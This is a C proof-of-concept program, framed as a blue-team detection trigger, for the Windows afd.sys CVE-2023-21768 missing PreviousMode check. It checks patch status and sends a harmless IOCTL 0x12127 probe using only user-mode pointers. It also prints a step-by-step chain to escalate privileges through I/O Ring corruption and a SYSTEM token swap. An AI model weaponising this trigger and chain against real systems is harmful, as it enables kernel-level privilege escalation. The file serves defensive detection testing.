/*
 * CVE-2023-21768 -- afd.sys AfdNotifyRemoveIoCompletion Missing PreviousMode Check
 *
 * Description:
 *   Demonstrates the missing PreviousMode validation in AfdNotifyRemoveIoCompletion.
 *   The IOCTL 0x12127 dispatch handler (AfdNotifySock) accepts a 0x30-byte structure
 *   containing pointers. The vulnerable function writes a value derived from
 *   KeRemoveQueueEx to a pointer at offset 0x18 of the structure without checking
 *   whether the pointer resides in user-mode address space. This allows a write-where
 *   primitive exploitable for Local Privilege Escalation via I/O Ring corruption.
 *
 *   This PoC is a BLUE TEAM DETECTION TRIGGER only. It:
 *   1. Checks afd.sys version for patch status
 *   2. Creates a TCP socket handle (AFD endpoint)
 *   3. Creates an IoCompletionObject via NtCreateIoCompletion
 *   4. Queues a completion record via NtSetIoCompletion
 *   5. Sends a benign probe IOCTL 0x12127 with user-mode pointers only
 *   6. Does NOT target any kernel addresses
 *
 * Build (MSVC x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2023_21768.c /link kernel32.lib ws2_32.lib ntdll.lib version.lib advapi32.lib
 *
 * Usage:
 *   poc_cve_2023_21768.exe         (normal)
 *   poc_cve_2023_21768.exe /v      (verbose)
 *
 * Expected (pre-patch):  Reports VULNERABLE based on afd.sys version
 * Expected (post-patch): Reports PATCHED
 *
 * NOTE: afd.sys is a kernel driver — GetFileVersionInfoW may hang on it.
 *       Version check uses NtQuerySystemInformation or file path fallback.
 *
 * Author: OnlyFm252
 * Date:   2026-07-26
 * CVE:    CVE-2023-21768
 *
 * DISCLAIMER: FOR DEFENSIVE RESEARCH AND BLUE TEAM DETECTION TESTING ONLY.
 */

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>

/* -- poc_common.h configuration -- */
#define POC_CVE     "CVE-2023-21768"
#define POC_BINARY  L"afd.sys"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include "poc_common.h"

#pragma comment(lib, "ws2_32.lib")

/* ======================================================================
 *  IOCTL and undocumented NT API definitions
 * ====================================================================== */

#define IOCTL_AFD_NOTIFY_SOCK  0x12127

/* Undocumented NT functions for IoCompletionObject */
typedef NTSTATUS (NTAPI *PFN_NtCreateIoCompletion)(
    PHANDLE             IoCompletionHandle,
    ACCESS_MASK         DesiredAccess,
    PVOID               ObjectAttributes,
    ULONG               NumberOfConcurrentThreads
);

typedef NTSTATUS (NTAPI *PFN_NtSetIoCompletion)(
    HANDLE  IoCompletionHandle,
    PVOID   KeyContext,
    PVOID   ApcContext,
    LONG    IoStatus,
    ULONG   IoStatusInformation
);

/* AFD_NOTIFYSOCK_STRUCT — the vulnerable input buffer (0x30 bytes) */
#pragma pack(push, 1)
typedef struct _AFD_NOTIFYSOCK_STRUCT {
    HANDLE  hIoCompletion;   /* +0x00: IoCompletionObject handle */
    PVOID   pData1;          /* +0x08: user-mode pointer (validated) */
    PVOID   pData2;          /* +0x10: user-mode pointer (validated) */
    PVOID   pWriteTarget;    /* +0x18: WRITE TARGET — kernel addr in exploit */
    ULONG   dwCount;         /* +0x20: loop counter */
    ULONG   dwLen;           /* +0x24: must be non-zero */
    PVOID   pData3;          /* +0x28: user-mode pointer for ProbeForWrite */
} AFD_NOTIFYSOCK_STRUCT;
#pragma pack(pop)

/* ======================================================================
 *  Version check — afd.sys is a kernel driver, use file path directly
 * ====================================================================== */

static int check_afd_version(void)
{
    /* afd.sys version check via system32\drivers path */
    WCHAR path[MAX_PATH];
    DWORD verHi, verLo;
    DWORD major, minor, build, rev;

    ExpandEnvironmentStringsW(L"%SystemRoot%\\system32\\drivers\\afd.sys",
                              path, MAX_PATH);

    /* Try version check but afd.sys may hang GetFileVersionInfo */
    DWORD dummy;
    DWORD verSize = GetFileVersionInfoSizeW(path, &dummy);
    if (verSize == 0) {
        POC_WARN(L"Cannot read afd.sys version (GetFileVersionInfoSize failed)");
        POC_INFO(L"This is expected for kernel drivers — using OS build instead");

        /* Fall back to OS build number */
        OSVERSIONINFOEXW osvi;
        memset(&osvi, 0, sizeof(osvi));
        osvi.dwOSVersionInfoSize = sizeof(osvi);

        typedef NTSTATUS(NTAPI *PFN_RtlGetVersion)(PRTL_OSVERSIONINFOW);
        PFN_RtlGetVersion pRtlGetVersion = (PFN_RtlGetVersion)
            GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
        if (pRtlGetVersion) {
            pRtlGetVersion((PRTL_OSVERSIONINFOW)&osvi);
            POC_DETAIL(L"OS: %u.%u Build %u", osvi.dwMajorVersion,
                       osvi.dwMinorVersion, osvi.dwBuildNumber);

            /* CVE-2023-21768 only affects Windows 11 (build 22000+) */
            if (osvi.dwBuildNumber < 22000) {
                POC_OK(L"Build %u is NOT affected (Win11 only)", osvi.dwBuildNumber);
                return 0;
            }

            /* Check UBR (Update Build Revision) from registry */
            HKEY hKey;
            DWORD ubr = 0, ubrSize = sizeof(ubr);
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
                    0, KEY_READ, &hKey) == ERROR_SUCCESS) {
                RegQueryValueExW(hKey, L"UBR", NULL, NULL,
                                 (LPBYTE)&ubr, &ubrSize);
                RegCloseKey(hKey);
            }

            POC_DETAIL(L"UBR: %u", ubr);

            /* Win11 22H2 (22621): patched at .1105+ (Jan 2023 CU) */
            if (osvi.dwBuildNumber == 22621 && ubr < 1105) {
                POC_WARN(L"Build 22621.%u is PRE-PATCH (vulnerable)", ubr);
                return 1;
            }
            /* Win11 21H2 (22000): patched at .1335+ (Jan 2023 CU) */
            if (osvi.dwBuildNumber == 22000 && ubr < 1335) {
                POC_WARN(L"Build 22000.%u is PRE-PATCH (vulnerable)", ubr);
                return 1;
            }

            POC_OK(L"Build %u.%u appears PATCHED", osvi.dwBuildNumber, ubr);
            return 0;
        }
        return -1;
    }

    /* If GetFileVersionInfo works, use it */
    if (poc_get_binary_version(POC_BINARY, &verHi, &verLo)) {
        poc_print_binary_version(POC_BINARY, verHi, verLo);

        major = (verHi >> 16) & 0xFFFF;
        minor = verHi & 0xFFFF;
        build = (verLo >> 16) & 0xFFFF;
        rev   = verLo & 0xFFFF;

        (void)major; (void)minor;

        if (build == 22621 && rev < 1105) {
            POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
            return 1;
        }
        if (build == 22000 && rev < 1335) {
            POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
            return 1;
        }

        POC_OK(L"Build %u.%u appears PATCHED", build, rev);
        return 0;
    }

    POC_WARN(L"Could not determine afd.sys version");
    return -1;
}

/* ======================================================================
 *  Create a TCP socket via Winsock (provides AFD handle)
 * ====================================================================== */

static SOCKET create_tcp_socket(void)
{
    WSADATA wsaData;
    SOCKET sock;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        POC_WARN(L"WSAStartup failed (error %u)", WSAGetLastError());
        return INVALID_SOCKET;
    }

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        POC_WARN(L"socket() failed (error %u)", WSAGetLastError());
    }

    return sock;
}

/* ======================================================================
 *  Resolve undocumented NT functions
 * ====================================================================== */

static PFN_NtCreateIoCompletion pfnNtCreateIoCompletion = NULL;
static PFN_NtSetIoCompletion pfnNtSetIoCompletion = NULL;

static BOOL resolve_nt_functions(void)
{
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return FALSE;

    pfnNtCreateIoCompletion = (PFN_NtCreateIoCompletion)
        GetProcAddress(hNtdll, "NtCreateIoCompletion");
    pfnNtSetIoCompletion = (PFN_NtSetIoCompletion)
        GetProcAddress(hNtdll, "NtSetIoCompletion");

    return (pfnNtCreateIoCompletion && pfnNtSetIoCompletion);
}

/* ======================================================================
 *  Send benign probe IOCTL to AfdNotifySock
 * ====================================================================== */

static int probe_afd_notify_sock(SOCKET sock)
{
    AFD_NOTIFYSOCK_STRUCT notifyStruct;
    HANDLE hIoCompletion = NULL;
    NTSTATUS status;
    DWORD bytesReturned = 0;
    BOOL ok;

    /* User-mode buffers (safe — no kernel addresses) */
    BYTE userBuf1[0x20];
    BYTE userBuf2[0x20];
    BYTE userBuf3[0x20];
    ULONG writeTarget = 0;  /* User-mode write target — safe */

    memset(userBuf1, 0, sizeof(userBuf1));
    memset(userBuf2, 0, sizeof(userBuf2));
    memset(userBuf3, 0, sizeof(userBuf3));

    /* Step 1: Create IoCompletionObject */
    status = pfnNtCreateIoCompletion(&hIoCompletion, MAXIMUM_ALLOWED, NULL, 1);
    if (status != 0) {
        POC_DETAIL(L"NtCreateIoCompletion failed: 0x%08X", status);
        return -1;
    }
    POC_OK(L"NtCreateIoCompletion succeeded: 0x%p", hIoCompletion);

    /* Step 2: Queue a completion record */
    status = pfnNtSetIoCompletion(hIoCompletion, NULL, NULL, 0, 0);
    if (status != 0) {
        POC_DETAIL(L"NtSetIoCompletion failed: 0x%08X", status);
        CloseHandle(hIoCompletion);
        return -1;
    }
    POC_OK(L"NtSetIoCompletion succeeded — completion record queued");

    /* Step 3: Build the AFD_NOTIFYSOCK_STRUCT (all user-mode pointers) */
    memset(&notifyStruct, 0, sizeof(notifyStruct));
    notifyStruct.hIoCompletion = hIoCompletion;
    notifyStruct.pData1        = userBuf1;
    notifyStruct.pData2        = userBuf2;
    notifyStruct.pWriteTarget  = &writeTarget;  /* Safe: user-mode address */
    notifyStruct.dwCount       = 1;
    notifyStruct.dwLen         = 1;
    notifyStruct.pData3        = userBuf3;

    POC_DETAIL(L"AFD_NOTIFYSOCK_STRUCT size: 0x%X (expected 0x30)",
               (UINT)sizeof(notifyStruct));
    POC_DETAIL(L"Write target (user-mode): 0x%p", &writeTarget);

    /* Step 4: Send IOCTL */
    POC_STEP("Sending IOCTL 0x12127 probe to AfdNotifySock");

    ok = DeviceIoControl(
        (HANDLE)sock,
        IOCTL_AFD_NOTIFY_SOCK,
        &notifyStruct, sizeof(notifyStruct),
        NULL, 0,
        &bytesReturned,
        NULL
    );

    if (ok) {
        POC_OK(L"DeviceIoControl succeeded — AfdNotifySock reachable");
        POC_DETAIL(L"Write target value after IOCTL: 0x%08X", writeTarget);
        if (writeTarget != 0) {
            POC_WARN(L"Write target was modified to 0x%08X — vulnerability CONFIRMED",
                     writeTarget);
        }
    } else {
        DWORD err = GetLastError();
        POC_DETAIL(L"DeviceIoControl returned error %u (0x%08X)", err, err);
        if (err == ERROR_INVALID_PARAMETER) {
            POC_INFO(L"ERROR_INVALID_PARAMETER — patched version may reject the request");
        } else if (err == ERROR_INVALID_FUNCTION) {
            POC_INFO(L"ERROR_INVALID_FUNCTION — IOCTL 0x12127 not recognized");
            POC_INFO(L"This may indicate an older Windows version without AfdNotifySock");
        }
    }

    CloseHandle(hIoCompletion);
    return 0;
}

/* ======================================================================
 *  Explain the vulnerability and exploitation chain
 * ====================================================================== */

static void explain_vulnerability(void)
{
    POC_INFO(L"=== Vulnerability Details (CVE-2023-21768) ===");
    POC_INFO(L"1. AfdNotifySock dispatches IOCTL 0x12127 (new function in Win11)");
    POC_INFO(L"2. Calls AfdNotifyRemoveIoCompletion with user-supplied struct");
    POC_INFO(L"3. BUG: Writes KeRemoveQueueEx return value to pStruct->field_0x18");
    POC_INFO(L"4. Missing PreviousMode check — kernel address accepted as target");
    POC_INFO(L"5. Write value = 0x1 (incrementable via NtSetIoCompletion)");
    POC_INFO(L"");
    POC_INFO(L"=== Exploitation (IBM X-Force Red / I/O Ring) ===");
    POC_INFO(L"1. CreateIoRing → kernel IORING_OBJECT created");
    POC_INFO(L"2. Trigger 1: Write 0x1 to IORING_OBJECT.RegBuffersCount");
    POC_INFO(L"3. Trigger 2: Write 0x1 to IORING_OBJECT.RegBuffers (→ 0x100000000)");
    POC_INFO(L"4. VirtualAlloc at 0x100000000, place forged IOP_MC_BUFFER_ENTRY");
    POC_INFO(L"5. BuildIoRingReadFile/WriteFile → arbitrary kernel R/W");
    POC_INFO(L"6. Token swap: copy SYSTEM token to current process → SYSTEM");
    POC_INFO(L"");
    POC_INFO(L"=== Patch ===");
    POC_INFO(L"Adds PreviousMode check: if user-mode, call ProbeForWrite on target");
    POC_INFO(L"Ensures write target is validated as user-mode address");
}

/* ======================================================================
 *  Main
 * ====================================================================== */

int wmain(int argc, wchar_t *argv[])
{
    int result = -1;
    int verResult;
    SOCKET sock;

    g_verbose = poc_parse_verbose(argc, argv);

    setvbuf(stdout, NULL, _IONBF, 0);

    poc_banner(L"afd.sys AfdNotifyRemoveIoCompletion Missing PreviousMode Check");

    /* Pre-flight */
    {
        static const poc_cfr_info cfr[] = { { 0, NULL } };
        poc_preflight(POC_BINARY, NULL, cfr, 0);
    }

    /* -- Step 1: Check afd.sys / OS version -- */
    POC_STEP("Check afd.sys / Windows build for patch status");

    verResult = check_afd_version();
    if (verResult > 0) {
        result = 1;
    } else if (verResult == 0) {
        result = 0;
    }

    /* -- Step 2: Resolve undocumented NT functions -- */
    POC_STEP("Resolve NtCreateIoCompletion and NtSetIoCompletion from ntdll");

    if (!resolve_nt_functions()) {
        POC_WARN(L"Failed to resolve NT functions from ntdll.dll");
        POC_INFO(L"NtCreateIoCompletion and NtSetIoCompletion are required");
        goto done;
    }
    POC_OK(L"NtCreateIoCompletion: 0x%p", pfnNtCreateIoCompletion);
    POC_OK(L"NtSetIoCompletion:    0x%p", pfnNtSetIoCompletion);

    /* -- Step 3: Create TCP socket -- */
    POC_STEP("Create TCP socket (AFD endpoint)");

    sock = create_tcp_socket();
    if (sock == INVALID_SOCKET) {
        POC_WARN(L"Cannot create socket — Winsock may not be available");
        goto done;
    }
    POC_OK(L"TCP socket created: 0x%llX", (ULONGLONG)sock);

    /* -- Step 4: Probe AfdNotifySock -- */
    POC_STEP("Send benign IOCTL 0x12127 probe to AfdNotifySock");

    probe_afd_notify_sock(sock);

    closesocket(sock);
    WSACleanup();

    /* -- Step 5: Explain vulnerability -- */
    POC_STEP("Display vulnerability and exploitation details");
    explain_vulnerability();

    /* -- Step 6: Evaluate results -- */
    POC_STEP("Evaluate results");

done:
    if (result == 0) {
        POC_OK(L"System is PATCHED — AfdNotifyRemoveIoCompletion validates PreviousMode");
    } else if (result > 0) {
        POC_WARN(L"System appears VULNERABLE — afd.sys version is pre-patch");
        POC_INFO(L"Exploitation requires standard user account (socket creation)");
        POC_INFO(L"Public exploit: github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768");
    } else {
        POC_INFO(L"Could not determine patch status — check afd.sys version manually");
    }

    poc_results(result);
    return result > 0 ? 1 : 0;
}